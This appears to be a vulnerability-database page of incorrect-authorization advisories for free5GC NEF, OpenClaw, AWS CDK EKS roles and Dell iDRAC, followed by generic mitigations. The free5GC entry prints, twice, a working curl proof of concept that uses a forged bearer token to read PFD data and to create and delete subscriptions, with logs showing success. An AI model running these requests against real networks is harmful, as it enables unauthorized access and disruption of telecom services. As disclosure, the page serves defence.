curl -i \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"pfdDatas":{"app-poc-pfdf-read-20260311":{"externalAppId":"app-poc-pfdf-read-20260311","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://pfdf-read.example.com(/\\\\S*)?$"]}}}}}' \
http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfdf-read-20260311/transactions
- READ PFD collection with forged token ->
200 OKreturns PFD data:
curl -i -H 'Authorization: Bearer not-a-real-token' \
'http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications?application-ids=app-poc-pfdf-read-20260311'
- READ individual PFD with forged token ->
200 OK:
curl -i -H 'Authorization: Bearer not-a-real-token' \
http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications/app-poc-pfdf-read-20260311
- CREATE PFD subscription with forged token ->
201 Created:
curl -i \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"applicationIds":["app-poc-sub1","app-poc-sub2"],"notifyUri":"http://127.0.0.1:65530/pfd-notify"}' \
http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions
- DELETE PFD subscription with forged token ->
204 No Content:
curl -i -X DELETE \
-H 'Authorization: Bearer not-a-real-token' \
http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions/1
NEF container logs (docker logs nef) show requests reaching business handlers and returning success codes:
[INFO][NEF][PFDF] GetApplicationsPFD - appIDs: [app-poc-pfdf-read-20260311]
[INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications?application-ids=...
[INFO][NEF][PFDF] GetIndividualApplicationPFD - appID[app-poc-pfdf-read-20260311]
[INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications/...
[INFO][NEF][PFDF] PostPFDSubscriptions - appIDs: [app-poc-sub1 app-poc-sub2]
[INFO][NEF][GIN] | 201 | POST | /nnef-pfdmanagement/v1/subscriptions
[INFO][NEF][PFDF] DeleteIndividualPFDSubscription - subID[1]
[INFO][NEF][GIN] | 204 | DELETE | /nnef-pfdmanagement/v1/subscriptions/1
Impact
Missing inbound authentication (CWE-306) and authorization (CWE-862) on the nnef-pfdmanagement SBI route group. This is the production-intended PFD service for NEF (declared in the runtime ServiceList), so operators expect it to be protected by NRF-issued OAuth2 -- and it is not. Any party that can reach NEF on the SBI can:
- Read AF-supplied PFD application data anonymously, leaking traffic-classification policy (URL regex patterns, application identifiers) used downstream by SMF/UPF.
- Create attacker-controlled PFD change-notification subscriptions pointing at attacker-chosen notifyUri endpoints, turning NEF into an unauthenticated outbound HTTP request source on whatever applications the attacker subscribes to.
- Delete legitimate PFD subscriptions, denying change notifications to legitimate consumers and breaking downstream PFD-update propagation.
The defect is route-group-scoped: there is no auth middleware on the group at all, so every read and subscription endpoint inside this group inherits the missing inbound auth boundary. Severity is scored against the route group's full capability surface.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/862 Upstream fix: https://github.com/free5gc/nef/pull/23
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/free5gc/nef"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44330"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T23:02:41Z",
"nvd_published_at": "2026-05-27T17:16:38Z",
"severity": "CRITICAL"
},
"details": "### Summary\nfree5GC\u0027s NEF mounts the `nnef-pfdmanagement` route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can use a forged or arbitrary bearer token (e.g. `Authorization: Bearer not-a-real-token`) to read PFD application data via `GET /applications` and `GET /applications/{appID}`, and to create or delete PFD change-notification subscriptions via `POST /subscriptions` and `DELETE /subscriptions/{subID}`. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. Unlike the OAM and traffic-influence groups, `nnef-pfdmanagement` IS declared in the runtime `ServiceList`, so this is the production-intended path that operators expect to be protected by `OAuth2 setting receive from NRF: true` -- and it is not.\n\n### Details\nValidated against the NEF container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- Running Docker image: `free5gc/nef:v4.2.0`\n- Runtime NEF commit: `5ce35eab`\n- Docker validation date: 2026-03-11\n\nNEF advertises `OAuth2 setting receive from NRF: true`, but the entire `nnef-pfdmanagement` route group is mounted with no inbound auth middleware, so forged-token requests reach the read and subscription handlers and execute against UDR-backed state.\n\nCode evidence (paths in `free5gc/nef`):\n- Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:56`\n- Read routes exposed at `/applications` and `/applications/:appID`: `NFs/nef/internal/sbi/api_pfdf.go:13`\n- Subscription routes exposed at `/subscriptions` and `/subscriptions/:subID`: `NFs/nef/internal/sbi/api_pfdf.go:13`\n- `GET /applications` queries UDR for application PFD data: `NFs/nef/internal/sbi/processor/pfdf.go:19`\n- `GET /applications/:appID` queries UDR for an application PFD: `NFs/nef/internal/sbi/processor/pfdf.go:53`\n- `POST /subscriptions` only checks `notifyUri` is present, then stores the subscription: `NFs/nef/internal/sbi/processor/pfdf.go:83`\n- `DELETE /subscriptions/:subID` removes the subscription: `NFs/nef/internal/sbi/processor/pfdf.go:110`\n- NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153`\n\n### PoC\nReproduced end-to-end against the running NEF at `http://10.100.200.19:8000` using a fabricated bearer token.\n\n1. Seed an AF context (also forged-token):\n```\ncurl -i \\\n -H \u0027Authorization: Bearer not-a-real-token\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"afServiceId\":\"svc-pfdf-read\",\"afAppId\":\"app-seed-pfdf-read\",\"dnn\":\"internet\",\"snssai\":{\"sst\":1,\"sd\":\"010203\"},\"anyUeInd\":true,\"trafficFilters\":[{\"flowId\":1,\"flowDescriptions\":[\"permit out ip from 192.0.2.41 to 198.51.100.0/24\"]}],\"trafficRoutes\":[{\"dnai\":\"mec-pfdf-read\",\"routeInfo\":{\"ipv4Addr\":\"10.60.0.3\",\"portNumber\":0}}]}\u0027 \\\n http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfdf-read-20260311/subscriptions\n```\n\n2. Seed one PFD application entry (also forged-token):\n```\ncurl -i \\\n -H \u0027Authorization: Bearer not-a-real-token\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"pfdDatas\":{\"app-poc-pfdf-read-20260311\":{\"externalAppId\":\"app-poc-pfdf-read-20260311\",\"pfds\":{\"pfd-poc\":{\"pfdId\":\"pfd-poc\",\"urls\":[\"^http://pfdf-read.example.com(/\\\\\\\\S*)?$\"]}}}}}\u0027 \\\n http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfdf-read-20260311/transactions\n```\n\n3. READ PFD collection with forged token -\u003e `200 OK` returns PFD data:\n```\ncurl -i -H \u0027Authorization: Bearer not-a-real-token\u0027 \\\n \u0027http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications?application-ids=app-poc-pfdf-read-20260311\u0027\n```\n\n4. READ individual PFD with forged token -\u003e `200 OK`:\n```\ncurl -i -H \u0027Authorization: Bearer not-a-real-token\u0027 \\\n http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications/app-poc-pfdf-read-20260311\n```\n\n5. CREATE PFD subscription with forged token -\u003e `201 Created`:\n```\ncurl -i \\\n -H \u0027Authorization: Bearer not-a-real-token\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"applicationIds\":[\"app-poc-sub1\",\"app-poc-sub2\"],\"notifyUri\":\"http://127.0.0.1:65530/pfd-notify\"}\u0027 \\\n http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions\n```\n\n6. DELETE PFD subscription with forged token -\u003e `204 No Content`:\n```\ncurl -i -X DELETE \\\n -H \u0027Authorization: Bearer not-a-real-token\u0027 \\\n http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions/1\n```\n\nNEF container logs (`docker logs nef`) show requests reaching business handlers and returning success codes:\n```\n[INFO][NEF][PFDF] GetApplicationsPFD - appIDs: [app-poc-pfdf-read-20260311]\n[INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications?application-ids=...\n[INFO][NEF][PFDF] GetIndividualApplicationPFD - appID[app-poc-pfdf-read-20260311]\n[INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications/...\n[INFO][NEF][PFDF] PostPFDSubscriptions - appIDs: [app-poc-sub1 app-poc-sub2]\n[INFO][NEF][GIN] | 201 | POST | /nnef-pfdmanagement/v1/subscriptions\n[INFO][NEF][PFDF] DeleteIndividualPFDSubscription - subID[1]\n[INFO][NEF][GIN] | 204 | DELETE | /nnef-pfdmanagement/v1/subscriptions/1\n```\n\n### Impact\nMissing inbound authentication (CWE-306) and authorization (CWE-862) on the `nnef-pfdmanagement` SBI route group. This is the production-intended PFD service for NEF (declared in the runtime `ServiceList`), so operators expect it to be protected by NRF-issued OAuth2 -- and it is not. Any party that can reach NEF on the SBI can:\n- Read AF-supplied PFD application data anonymously, leaking traffic-classification policy (URL regex patterns, application identifiers) used downstream by SMF/UPF.\n- Create attacker-controlled PFD change-notification subscriptions pointing at attacker-chosen `notifyUri` endpoints, turning NEF into an unauthenticated outbound HTTP request source on whatever applications the attacker subscribes to.\n- Delete legitimate PFD subscriptions, denying change notifications to legitimate consumers and breaking downstream PFD-update propagation.\n\nThe defect is route-group-scoped: there is no auth middleware on the group at all, so every read and subscription endpoint inside this group inherits the missing inbound auth boundary. Severity is scored against the route group\u0027s full capability surface.\n\nAffected: free5gc v4.2.1.\n\nUpstream issue: https://github.com/free5gc/free5gc/issues/862\nUpstream fix: https://github.com/free5gc/nef/pull/23",
"id": "GHSA-rwww-x45w-p52w",
"modified": "2026-06-08T23:48:31Z",
"published": "2026-05-08T23:02:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-rwww-x45w-p52w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44330"
},
{
"type": "WEB",
"url": "https://github.com/free5gc/free5gc/issues/862"
},
{
"type": "PACKAGE",
"url": "https://github.com/free5gc/free5gc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "free5GC\u0027s NEF nnef-pfdmanagement API is unauthenticated; forged bearer tokens can read PFD data and create/delete PFD subscriptions"
}
GHSA-RWWX-25M7-WW73
Vulnerability from github – Published: 2026-03-29 15:30 – Updated: 2026-04-06 22:35Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-qc36-x95h-7j53. This link is maintained to preserve external references.
Original Description
OpenClaw before 2026.3.11 contains an approval integrity vulnerability where system.run approvals fail to bind mutable file operands for certain script runners like tsx and jiti. Attackers can obtain approval for benign script commands, rewrite referenced scripts on disk, and execute modified code under the approved run context.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.3.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-06T22:35:49Z",
"nvd_published_at": "2026-03-29T13:17:01Z",
"severity": "CRITICAL"
},
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-qc36-x95h-7j53. This link is maintained to preserve external references.\n\n### Original Description\nOpenClaw before 2026.3.11 contains an approval integrity vulnerability where system.run approvals fail to bind mutable file operands for certain script runners like tsx and jiti. Attackers can obtain approval for benign script commands, rewrite referenced scripts on disk, and execute modified code under the approved run context.",
"id": "GHSA-rwwx-25m7-ww73",
"modified": "2026-04-06T22:35:49Z",
"published": "2026-03-29T15:30:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-qc36-x95h-7j53"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32978"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-approval-bypass-via-unrecognized-script-runners"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: OpenClaw: Unrecognized script runners could bypass `system.run` approval integrity",
"withdrawn": "2026-04-06T22:35:49Z"
}
GHSA-RX28-R23P-2QC3
Vulnerability from github – Published: 2023-06-19 22:47 – Updated: 2023-06-20 18:06If you are using the eks.Cluster or eks.FargateCluster construct we need you to take action. Other users are not affected and can stop reading.
Impact
The AWS Cloud Development Kit (CDK) allows for the definition of Amazon Elastic Container Service for Kubernetes (EKS) clusters. eks.Cluster and eks.FargateCluster constructs create two roles that have an overly permissive trust policy.
The first, referred to as the CreationRole, is used by lambda handlers to create the cluster and deploy Kubernetes resources (e.g KubernetesManifest, HelmChart, ...) onto it. Users with CDK version higher or equal to 1.62.0 (including v2 users) will be affected.
The second, referred to as the default MastersRole, is provisioned only if the mastersRole property isn't provided and has permissions to execute kubectl commands on the cluster. Users with CDK version higher or equal to 1.57.0 (including v2 users) will be affected.
Both these roles use the account root principal in their trust policy, which allows any identity in the account with the appropriate sts:AssumeRolepermissions to assume it. For example, this can happen if another role in your account has sts:AssumeRole permissions on Resource: "*".
CreationRole
Users with CDK version higher or equal to 1.62.0 (including v2 users). The role in question can be located in the IAM console. It will have the following name pattern:
*-ClusterCreationRole-*
MastersRole
Users with CDK version higher or equal to 1.57.0 (including v2 users) that are not specifying the mastersRole property. The role in question can be located in the IAM console. It will have the following name pattern:
*-MastersRole-*
Patches
The issue has been fixed in versions v1.202.0, v2.80.0. We recommend you upgrade to a fixed version as soon as possible. See Managing Dependencies in the CDK Developer Guide for instructions on how to do this.
The new versions no longer use the account root principal. Instead, they restrict the trust policy to the specific roles of lambda handlers that need it. This introduces some breaking changes that might require you to perform code changes. Refer to https://github.com/aws/aws-cdk/issues/25674 for a detailed discussion of options.
Workarounds
CreationRole
There is no workaround available for CreationRole.
MastersRole
To avoid creating the default MastersRole, use the mastersRole property to explicitly provide a role. For example:
new eks.Cluster(this, 'Cluster', {
...
mastersRole: iam.Role.fromRoleArn(this, 'Admin', 'arn:aws:iam::xxx:role/Admin')
});
References
https://github.com/aws/aws-cdk/issues/25674
If you have any questions or comments about this advisory we ask that you contact AWS/Amazon Security via our vulnerability reporting page or directly via email to aws-security@amazon.com. Please do not create a public GitHub issue.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "aws-cdk-lib"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.80.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@aws-cdk/aws-eks"
},
"ranges": [
{
"events": [
{
"introduced": "1.57.0"
},
{
"fixed": "1.202.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-35165"
],
"database_specific": {
"cwe_ids": [
"CWE-266",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-19T22:47:26Z",
"nvd_published_at": "2023-06-23T21:15:09Z",
"severity": "MODERATE"
},
"details": "If you are using the `eks.Cluster` or `eks.FargateCluster` construct we need you to take action. Other users are not affected and can stop reading.\n\n### Impact \n\nThe AWS Cloud Development Kit (CDK) allows for the definition of Amazon Elastic Container Service for Kubernetes (EKS) clusters. `eks.Cluster` and `eks.FargateCluster` constructs create two roles that have an overly permissive trust policy. \n \nThe first, referred to as the _CreationRole_, is used by lambda handlers to create the cluster and deploy Kubernetes resources (e.g `KubernetesManifest`, `HelmChart`, ...) onto it. Users with CDK version higher or equal to [1.62.0](https://github.com/aws/aws-cdk/releases/tag/v1.62.0) (including v2 users) will be affected.\n \nThe second, referred to as the _default MastersRole_, is provisioned only if the `mastersRole` property isn\u0027t provided and has permissions to execute `kubectl` commands on the cluster. Users with CDK version higher or equal to [1.57.0](https://github.com/aws/aws-cdk/releases/tag/v1.57.0) (including v2 users) will be affected.\n \nBoth these roles use the account root principal in their trust policy, which allows any identity in the account with the appropriate `sts:AssumeRole `permissions to assume it. For example, this can happen if another role in your account has `sts:AssumeRole` permissions on `Resource: \"*\"`.\n\n#### CreationRole \n\nUsers with CDK version higher or equal to [1.62.0](https://github.com/aws/aws-cdk/releases/tag/v1.62.0) (including v2 users). The role in question can be located in the IAM console. It will have the following name pattern: \n\n```console \n*-ClusterCreationRole-* \n```\n\n#### MastersRole \n\nUsers with CDK version higher or equal to [1.57.0](https://github.com/aws/aws-cdk/releases/tag/v1.57.0) (including v2 users) that are not specifying the `mastersRole` property. The role in question can be located in the IAM console. It will have the following name pattern: \n\n```console\n*-MastersRole-*\n```\n\n### Patches \n\nThe issue has been fixed in versions [v1.202.0](https://github.com/aws/aws-cdk/releases/tag/v1.202.0), [v2.80.0](https://github.com/aws/aws-cdk/releases/tag/v2.80.0). We recommend you upgrade to a fixed version as soon as possible. See [Managing Dependencies](https://docs.aws.amazon.com/cdk/v2/guide/manage-dependencies.html) in the CDK Developer Guide for instructions on how to do this. \n \nThe new versions no longer use the account root principal. Instead, they restrict the trust policy to the specific roles of lambda handlers that need it. This introduces some breaking changes that might require you to perform code changes. Refer to https://github.com/aws/aws-cdk/issues/25674 for a detailed discussion of options. \n\n### Workarounds \n\n#### CreationRole \n\nThere is no workaround available for CreationRole. \n\n#### MastersRole \n\nTo avoid creating the _default MastersRole_, use the `mastersRole` property to explicitly provide a role. For example: \n\n```ts \nnew eks.Cluster(this, \u0027Cluster\u0027, { \n ... \n mastersRole: iam.Role.fromRoleArn(this, \u0027Admin\u0027, \u0027arn:aws:iam::xxx:role/Admin\u0027) \n}); \n```\n\n### References\n\n[https://github.com/aws/aws-cdk/issues/25674](https://github.com/aws/aws-cdk/issues/25674)\n\nIf you have any questions or comments about this advisory we ask that you contact AWS/Amazon Security via our [vulnerability reporting page](https://aws.amazon.com/security/vulnerability-reporting) or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.",
"id": "GHSA-rx28-r23p-2qc3",
"modified": "2023-06-20T18:06:03Z",
"published": "2023-06-19T22:47:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/aws/aws-cdk/security/advisories/GHSA-rx28-r23p-2qc3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35165"
},
{
"type": "WEB",
"url": "https://github.com/aws/aws-cdk/issues/25674"
},
{
"type": "PACKAGE",
"url": "https://github.com/aws/aws-cdk"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "AWS CDK EKS overly permissive trust policies"
}
GHSA-RX2M-34RG-7763
Vulnerability from github – Published: 2022-05-13 01:34 – Updated: 2022-05-13 01:34Dell EMC iDRAC7/iDRAC8 versions prior to 2.61.60.60 and iDRAC9 versions prior to 3.20.21.20, 3.21.24.22, 3.21.26.22, and 3.23.23.23 contain a privilege escalation vulnerability. An authenticated malicious iDRAC user with operator privileges could potentially exploit a permissions check flaw in the Redfish interface to gain administrator access.
{
"affected": [],
"aliases": [
"CVE-2018-15774"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-12-13T22:29:00Z",
"severity": "HIGH"
},
"details": "Dell EMC iDRAC7/iDRAC8 versions prior to 2.61.60.60 and iDRAC9 versions prior to 3.20.21.20, 3.21.24.22, 3.21.26.22, and 3.23.23.23 contain a privilege escalation vulnerability. An authenticated malicious iDRAC user with operator privileges could potentially exploit a permissions check flaw in the Redfish interface to gain administrator access.",
"id": "GHSA-rx2m-34rg-7763",
"modified": "2022-05-13T01:34:08Z",
"published": "2022-05-13T01:34:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15774"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/article/us/en/19/sln315190/dell-emc-idrac-multiple-vulnerabilities-cve-2018-15774-and-cve-2018-15776-?lang=en"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/106233"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
No CAPEC attack patterns related to this CWE.